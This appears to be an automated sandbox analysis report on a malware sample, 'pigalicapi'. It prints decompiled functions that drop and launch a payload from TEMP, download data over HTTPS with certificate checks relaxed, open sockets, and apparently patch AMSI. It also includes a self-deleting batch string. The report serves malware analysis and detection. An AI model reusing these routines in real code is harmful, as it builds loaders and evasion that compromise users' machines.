String ID: .bat$.exe$:repeatdel %sif exist %s goto :repeatdel %%0$D$TEMP$USERPROFILE$pigalicapi$slf
API String ID: 3221898725-336785456
Opcode ID: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction ID: 33d1a80e31bd16fda39fb1d5e61c33b6d2d8e7faa3bd40571536c86a9d597677
Opcode Fuzzy Hash: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction Fuzzy Hash: 277134B1A44318ABF7649F60DC49FEA7778EB44705F448698B209B60C1DBBCAA84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04006DA0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 354
memoryfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04006DA0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				long _v608;
				int _v612;
				long _v616;
				void* _v620;
				long _v624;
				intOrPtr _v628;
				void* _v632;
				intOrPtr _t198;
				struct _SECURITY_ATTRIBUTES* _t217;
				void* _t223;
				struct _SECURITY_ATTRIBUTES* _t248;
				void* _t347;
				void* _t349;
				void* _t350;

				_v8 = _a4;
				if(_v8 == 0) {
					L39:
					return 0;
				}
				Sleep( *(_v8 + 0x14) * 0x3c * 0x3e8);
				__imp__CoInitialize(0);
				_v32 =  *_v8;
				_v28 =  *((intOrPtr*)(_v8 + 4));
				_v24 =  *((intOrPtr*)(_v8 + 8));
				_v12 =  *(_v8 + 0x14);
				_v20 =  *(_v8 + 0xc);
				_v16 =  *((intOrPtr*)(_v8 + 0x10));
				if(( *(_v8 + 0xc) & 0x00000001) == 0) {
					GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
					E04007D20( &_v340,  &_v340, 0, 0xa);
					E04009730( &_v340, 4);
					_t349 = _t347 + 0x14;
					GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
					_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0, 0);
					if(_v328 != 0xffffffff) {
						_v608 = 0;
						_v612 = 0;
						_v616 =  *(_v8 + 0x1c);
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							_v612 = WriteFile(_v328,  *(_v8 + 0x18),  *(_v8 + 0x1c),  &_v608, 0);
						} else {
							_v624 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
							_v620 = VirtualAlloc(0, _v624, 0x3000, 4);
							if(_v620 != 0) {
								if(E04006260(_v8,  *(_v8 + 0x18),  *(_v8 + 0x1c), _v620, _v624) == _v624) {
									_v612 = WriteFile(_v328, _v620, _v624,  &_v608, 0);
									_v616 = _v624;
								}
								VirtualFree(_v620, 0, 0x8000);
							}
						}
						CloseHandle(_v328);
						if(_v612 != 0 && _v608 == _v616) {
							_t198 = E04001E60( &_v324);
							_t350 = _t349 + 4;
							_v628 = _t198;
							if(_v628 != 0) {
								if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
									E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
									_t350 = _t350 + 0xc;
								}
								if(( *(_v8 + 0xc) & 0x00000004) != 0) {
									E04002510(_v628, 0x400e290);
								}
							}
						}
					}
					L38:
					__imp__CoUninitialize();
					goto L39;
				}
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				if(( *(_v8 + 0xc) & 0x00000010) == 0) {
					_t217 = E04002070( *(_v8 + 0x18));
					_t347 = _t347 + 4;
					_v40 = _t217;
				} else {
					_v44 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
					_v48 = VirtualAlloc(0, _v44, 0x3000, 4);
					if(_v48 != 0) {
						if(E04006260( *(_v8 + 0x1c),  *(_v8 + 0x18),  *(_v8 + 0x1c), _v48, _v44) == _v44) {
							_t248 = E04002070(_v48);
							_t347 = _t347 + 4;
							_v40 = _t248;
							if(( *(_v8 + 0xc) & 0x00000008) != 0) {
								_v36 = VirtualAlloc(0, _v44, 0x3000, 4);
								E04007B70(_v36, _v48, _v44);
								_t347 = _t347 + 0xc;
							}
						}
						VirtualFree(_v48, 0, 0x8000);
					}
				}
				if(_v40 == 0) {
					L22:
					goto L38;
				} else {
					if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
						E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
						_t347 = _t347 + 0xc;
					}
					if(( *(_v8 + 0xc) & 0x00000008) != 0) {
						_t223 = E040097A0(0x10);
						_t347 = _t347 + 4;
						_v632 = _t223;
						_v52 = _v632;
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							 *_v52 = VirtualAlloc(0,  *(_v8 + 0x1c), 0x3000, 4);
							if( *_v52 != 0) {
								E04007B70( *_v52,  *(_v8 + 0x18),  *(_v8 + 0x1c));
								_t347 = _t347 + 0xc;
								 *(_v52 + 4) =  *(_v8 + 0x1c);
							}
						} else {
							 *_v52 = _v36;
							 *(_v52 + 4) = _v44;
						}
						if( *_v52 != 0) {
							 *(_v52 + 8) =  *(_v8 + 0xc);
							 *((intOrPtr*)(_v52 + 0xc)) = _v40;
							_v56 = CreateThread(0, 0, E040077B0, _v52, 0, 0);
							CloseHandle(_v56);
						}
					}
					if(( *(_v8 + 0xc) & 0x00000004) != 0) {
						E04002510(_v40, 0x400e290);
					}
					goto L22;
				}
			}

APIs

Sleep.KERNEL32(?), ref: 04006DC9
CoInitialize.OLE32(00000000), ref: 04006DD1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04006E5F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,00000000), ref: 04006EB5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,00000000), ref: 04006EDD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04006F7A
CreateThread.KERNEL32 ref: 04006FE3
CloseHandle.KERNEL32(?), ref: 04006FF0
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 04007028
GetTickCount.KERNEL32 ref: 04007059
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 04007077
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 04007093
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007101
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000,?,?,00000000,?), ref: 0400715D
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04007183
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 040071A9
CloseHandle.KERNEL32(000000FF), ref: 040071BC
CoUninitialize.OLE32 ref: 04007239

Strings

TEMP, xrefs: 04007023

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickUninitializeVariable
String ID: TEMP
API String ID: 3110491842-1036413054
Opcode ID: 39e740e402b3d58b52e9657545899331c46d826c986235e8a63d4a66dd2a8cdf
Instruction ID: 2b87ebad86062e1f9aa8347128cf2fe592da7145f1ccd4accac7794ca236a0a8
Opcode Fuzzy Hash: 39e740e402b3d58b52e9657545899331c46d826c986235e8a63d4a66dd2a8cdf
Instruction Fuzzy Hash: 1FF10975A00208EFEB58DF94D984F9DB7B5BB88304F248698E509BB390D775AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04002900 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 133
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002900(char* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				CHAR* _v28;
				char _v292;
				void _v296;
				void* _v300;
				long _v304;
				long _v308;
				char* _t54;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t54 =  *0x400e004; // 0x400c398
					_v12 = InternetOpenA(_t54, 1, 0, 0, 0);
					if(_v12 != 0) {
						_v16 = InternetConnectA(_v12, _a4, 0x1bb, 0x400c3d2, 0x400c3d1, 3, 0, 0);
						if(_v16 != 0) {
							_v20 = HttpOpenRequestA(_v16, "GET", "/", "1.1", 0, 0, 0x80800000, 0);
							if(_v20 != 0) {
								wsprintfA( &_v292, "https://%s", _a4);
								_v28 = "Accept: */*";
								_v24 = 4;
								InternetQueryOptionA(_v20, 0x1f,  &_v296,  &_v24);
								_v296 = _v296 | 0x0000b180;
								InternetSetOptionA(_v20, 0x1f,  &_v296, 4);
								if(HttpSendRequestA(_v20, _v28, lstrlenA(_v28), 0, 0) == 0) {
									_v308 = GetLastError();
								} else {
									_v300 = 0;
									while(_v300 < _a12) {
										_v304 = 0;
										InternetReadFile(_v20, _a8 + _v300, _a12 - _v300,  &_v304);
										if(_v304 != 0) {
											_v300 = _v300 + _v304;
											 *(_a8 + _v300) = 0;
											continue;
										} else {
										}
										break;
									}
									_v8 = _v300;
								}
								InternetCloseHandle(_v20);
							}
							InternetCloseHandle(_v16);
						}
						InternetCloseHandle(_v12);
					}
				}
				return _v8;
			}

APIs

InternetOpenA.WININET(0400C398,00000001,00000000,00000000,00000000), ref: 0400293C
InternetConnectA.WININET(00000000,00000000,000001BB,0400C3D2,0400C3D1,00000003,00000000,00000000), ref: 0400296C
HttpOpenRequestA.WININET(00000000,GET,0400C3D8,1.1,00000000,00000000,80800000,00000000), ref: 0400299D
wsprintfA.USER32 ref: 040029C0
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 040029E8
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002A0E
lstrlenA.KERNEL32(0400C3EC,00000000,00000000), ref: 04002A1C
HttpSendRequestA.WININET(00000000,0400C3EC,00000000), ref: 04002A2B
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 04002A73
GetLastError.KERNEL32 ref: 04002AAF
InternetCloseHandle.WININET(00000000), ref: 04002ACB
InternetCloseHandle.WININET(00000000), ref: 04002AD5
InternetCloseHandle.WININET(00000000), ref: 04002ADF

Strings

1.1, xrefs: 0400298A
https://%s, xrefs: 040029B4
GET, xrefs: 04002994

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID: 1.1$GET$https://%s
API String ID: 2082764430-1670984264
Opcode ID: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction ID: 6d54c3b05ff69590bd14da6a4fff8ed2da31e3bdf774b399ca20979b5291bdcc
Opcode Fuzzy Hash: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction Fuzzy Hash: 02510C71944218AFEB24CF94DC89BEEB7B4EB49700F108598F605B62C0C7B8AE94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 040035E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040035E0(CHAR* _a4, intOrPtr _a8) {
				long _v8;
				struct HINSTANCE__* _v12;
				char _v532;
				void* _v536;
				long _v540;
				void* _v544;
				long _v548;
				CHAR* _v552;
				void* _v556;
				int _v560;
				char _v820;
				CHAR* _v824;
				char _v1084;
				signed char _v1085;
				long _v1092;
				intOrPtr _v1096;
				long _t124;

				_v8 = 0;
				_v12 = GetModuleHandleA(_a4);
				if(_v12 != 0) {
					E04002E50( &_v532,  &_v532, 0, 0x208);
					if(GetModuleFileNameA(_v12,  &_v532, 0x207) > 0) {
						_v536 = CreateFileA( &_v532, 0x80000000, 7, 0, 3, 0, 0);
						if(_v536 != 0xffffffff) {
							_v540 = GetFileSize(_v536, 0);
							if(_v540 > 0) {
								_v544 = VirtualAlloc(0, _v540, 0x3000, 4);
								_t155 = _v544;
								if(_v544 != 0) {
									_v548 = 0;
									ReadFile(_v536, _v544, _v540,  &_v548, 0);
									_v556 = E04003370(_v536, _t155, _v544, _v540);
									_v552 = E04003580(_a8, _v556, _a8);
									_v560 = lstrlenA(_v552);
									if(_v560 > 2 && _v560 < 0x100) {
										_v824 = _v552;
										_v1085 = 0;
										E04002E50(_v552,  &_v820, 0, 0x100);
										E04002E50(_v552,  &_v1084, 0, 0x100);
										_v1092 = 0;
										while(_v1092 < _v560) {
											if(_v824[_v1092] < 0x20 || _v824[_v1092] > 0x7e) {
											} else {
												if(_v824[_v1092] != 0x2e) {
													_t124 = _v1092 + 1;
													__eflags = _t124;
													_v1092 = _t124;
													continue;
												} else {
													lstrcpynA( &_v820, _v824, _v1092 + 1);
													lstrcatA( &_v820, ".dll");
													lstrcpyA( &_v1084,  &(_v824[_v1092 + 1]));
													_v1085 = 1;
												}
											}
											break;
										}
										if((_v1085 & 0x000000ff) != 0) {
											_v8 = E040035E0( &_v820,  &_v1084);
										}
									}
									if(_v8 == 0 && _v552 != 0) {
										_v1096 = _v552 - _v556;
										_v8 = _v12 + _v1096;
									}
									VirtualFree(_v556, 0, 0x8000);
									VirtualFree(_v544, 0, 0x8000);
								}
							}
							CloseHandle(_v536);
						}
					}
				}
				return _v8;
			}

APIs

GetModuleHandleA.KERNEL32(?), ref: 040035F4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 0400362D
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 04003651
GetFileSize.KERNEL32(000000FF,00000000), ref: 04003673
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400369C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040036DD
lstrlenA.KERNEL32(?), ref: 0400371F
lstrcpynA.KERNEL32(?,?,-00000001), ref: 0400380C
lstrcatA.KERNEL32(?,.dll), ref: 0400381E
lstrcpyA.KERNEL32(?,?), ref: 0400383C
VirtualFree.KERNEL32(?,00000000,00008000), ref: 040038B3
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040038C7
CloseHandle.KERNEL32(000000FF), ref: 040038D4

Strings

.dll, xrefs: 04003812

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID: .dll
API String ID: 4040249471-2738580789
Opcode ID: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction ID: c2c5132629a25a5507b869beac9dac576087064a04ada7ddd23a517ed68c32e0
Opcode Fuzzy Hash: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction Fuzzy Hash: AC814EB5940228ABEB35DF50DC89BDDB7B5AB48304F1081D8EA09B7280D674AFC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04002AF0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 201
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04002AF0(char* _a4, intOrPtr _a8, long _a12, signed char _a16) {
				long _v8;
				char _v84;
				void* _v88;
				signed int _v92;
				long _v96;
				void _v100;
				void _v356;
				long _v360;
				long _v364;
				intOrPtr _v368;
				void* _v372;
				long _v376;
				void* _v380;
				signed char _v381;
				long _v388;
				long _v392;
				void* _v396;
				char _v652;
				long _v656;
				long _v660;
				void* _t139;
				void* _t140;
				void* _t142;
				long _t149;

				_v8 = 0;
				if( *0x4013b80 == 0 || _a4 == 0 || _a8 == 0 || _a12 == 0) {
					L25:
					return _v8;
				} else {
					memcpy( &_v84, "Accept: */*\r\nAccept-Language: en\r\nAccept-Encoding: gzip, deflate\r\n", 0x10 << 2);
					asm("movsw");
					asm("movsb");
					_v92 = 0x80000200;
					if((_a16 & 0x000000ff) != 0) {
						_v92 = _v92 | 0x00803000;
						_v96 = 4;
						_t139 =  *0x4013b80; // 0x0
						InternetQueryOptionA(_t139, 0x1f,  &_v100,  &_v96);
						_v100 = _v100 | 0x00000100;
						_t140 =  *0x4013b80; // 0x0
						InternetSetOptionA(_t140, 0x1f,  &_v100, 4);
					}
					_t142 =  *0x4013b80; // 0x0
					_v88 = InternetOpenUrlA(_t142, _a4,  &_v84, 0x42, _v92, 0);
					if(_v88 == 0) {
						_v660 = GetLastError();
						goto L25;
					} else {
						_v360 = 0x100;
						E04007D20( &_v356,  &_v356, 0, 0x100);
						_v364 = 0;
						if(HttpQueryInfoA(_v88, 0x13,  &_v356,  &_v360,  &_v364) == 0) {
							L23:
							InternetCloseHandle(_v88);
							goto L25;
						}
						_v368 = E04007DD0( &_v356);
						if(_v368 != 0xc8) {
							goto L23;
						}
						_v372 = VirtualAlloc(0, _a12, 0x3000, 4);
						if(_v372 == 0) {
							goto L23;
						}
						_v388 = 0;
						_v376 = 0;
						_v380 = _v372;
						while(1) {
							InternetReadFile(_v88, _v380, _a12,  &_v376);
							if(_v376 == 0) {
								break;
							}
							_v388 = _v388 + _v376;
							_v380 = _v380 + _v376;
							_t149 = _a12 - _v376;
							_a12 = _t149;
							if(_t149 >= 0) {
								continue;
							}
							L16:
							_v8 = _v388;
							_v396 = _v372;
							_v392 = 0x100;
							E04007D20(_v388,  &_v652, 0, 0x100);
							_v381 = 0;
							if(HttpQueryInfoA(_v88, 0x1d,  &_v652,  &_v392,  &_v364) != 0 && lstrcmpiA( &_v652, "gzip") == 0) {
								_v656 = E04002E00(_v388, _v372, _v388, _a8, _a12);
								if(_v656 > 0) {
									_v8 = _v656;
									_v396 = _a8;
									_v381 = 1;
								}
							}
							if((_v381 & 0x000000ff) == 0) {
								E04007B70(_a8, _v372, _v8);
							}
							VirtualFree(_v372, 0, 0x8000);
							goto L23;
						}
						goto L16;
					}
				}
			}

APIs

InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B72
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B93
InternetOpenUrlA.WININET(00000000,00000000,?,00000042,80000200,00000000), ref: 04002BB0
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04002C08
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04002C48
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 04002C97
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 04002D35
lstrcmpiA.KERNEL32(?,gzip), ref: 04002D4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002DC8
InternetCloseHandle.WININET(00000000), ref: 04002DD2
GetLastError.KERNEL32 ref: 04002DDA

Strings

Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 04002B32
gzip, xrefs: 04002D3F

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate$gzip
API String ID: 2564233093-2863726208
Opcode ID: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction ID: 59e70dbda308a2a2546c0d296605ce979221f8659c43edef85f985c08622dbb4
Opcode Fuzzy Hash: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction Fuzzy Hash: 6B91FC75904218ABEB65CF94CC48BEAB7B5BB48304F50819DE609BB280DB796E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 100014A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 100014DB
SetLastError.KERNEL32(0000007F), ref: 10001507

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 29cfafdec3d3a1262f4827b6cae24ea1b9a18653203c5f05ee1a645c7d2a8912
Instruction ID: 25e538b33cc42fa1af6dbc26f5ecb21efd633c51d41fb312bc782d6f26faee88
Opcode Fuzzy Hash: 29cfafdec3d3a1262f4827b6cae24ea1b9a18653203c5f05ee1a645c7d2a8912
Instruction Fuzzy Hash: 1871F874E04109EFEB08DF94C990AAEB7B2FF48345F248598E915AB345D735EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0400A090 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0400A090(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2);
				L0400B210();
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L0400B20A();
					_v34 = 2;
					_push(_a4);
					L0400B204();
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20);
						L0400B1FE();
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L0400B1F8();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400A09C
htons.WS2_32(?), ref: 0400A0C0
gethostbyname.WS2_32(?), ref: 0400A0CD
connect.WS2_32(000000FF,?,00000010), ref: 0400A121
closesocket.WS2_32(000000FF), ref: 0400A13E

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction ID: a070b3506782e3d460d1e62e3f028d70face053f71bdd0f6ca274d7f1f380b7b
Opcode Fuzzy Hash: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction Fuzzy Hash: 65312B70B00319ABEB10EFE4D845BFEB7B5AF98314F108659E5217B2C0E7B5A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 100024F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(10004070,00000000,00000800), ref: 10002509
GetProcAddress.KERNEL32(00000000,10004078), ref: 10002525
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 10002560
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 10002581

Strings

AMSI, xrefs: 1000254C

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 39020bfaabfcf144605de5e0a77759fb48e00e494b42d059a3f8fbf759fe6226
Instruction ID: 1f1fccf587520e98a24689dc9d6c387d6eb81e8a4efd5f3f63844951b48620cd
Opcode Fuzzy Hash: 39020bfaabfcf144605de5e0a77759fb48e00e494b42d059a3f8fbf759fe6226
Instruction Fuzzy Hash: 8D111CB4D01209EFEB04CF94CC99BAEBBB4FB48341F208559EA01B7384D7706A40DB59

Uniqueness

Uniqueness Score: -1.00%

Function 04009290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009290() {
				char _v8;
				_Unknown_base(*)()* _v12;

				_v8 = 0;
				_v12 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				if(_v12 != 0) {
					_v12(GetCurrentProcess(),  &_v8);
				}
				return _v8;
			}

0x04009296
0x040092b4
0x040092bb
0x040092c8
0x040092c8
0x040092d1

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 040092A7
GetProcAddress.KERNEL32(00000000), ref: 040092AE
GetCurrentProcess.KERNEL32(00000000), ref: 040092C1

Strings

kernel32.dll, xrefs: 040092A2
IsWow64Process, xrefs: 0400929D

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction ID: 4f9345edf5834c8cb0bc8acfac962fe0122c83c58fee2cee7c9637e45e33d241
Opcode Fuzzy Hash: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction Fuzzy Hash: D5E09275D04308EBEB04DFF4D94DB9D7B78EB08205F504694E545B2140D6786A54CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04007250 Relevance: 7.6, APIs: 5, Instructions: 113
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E04007250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				char* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v40;
				int _v44;
				int _v48;
				char _v64;
				signed int _v68;
				intOrPtr* _v72;
				struct _SYSTEMTIME _v88;
				char* _t58;
				intOrPtr* _t68;
				short* _t69;
				signed int _t70;
				intOrPtr* _t91;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_v5 = 1;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 ||  *((intOrPtr*)(_a4 + 0x10)) == 0) {
					L12:
					return _v5;
				} else {
					_v24 = E040016F0(_a8, _a12);
					_t58 =  *0x40118a0; // 0x4013b88
					_v12 = _t58;
					E04007D20(_t58,  &_v40, 0, 0x10);
					wsprintfA( &_v40, "%u", _v24);
					_t100 = _t97 + 0x20;
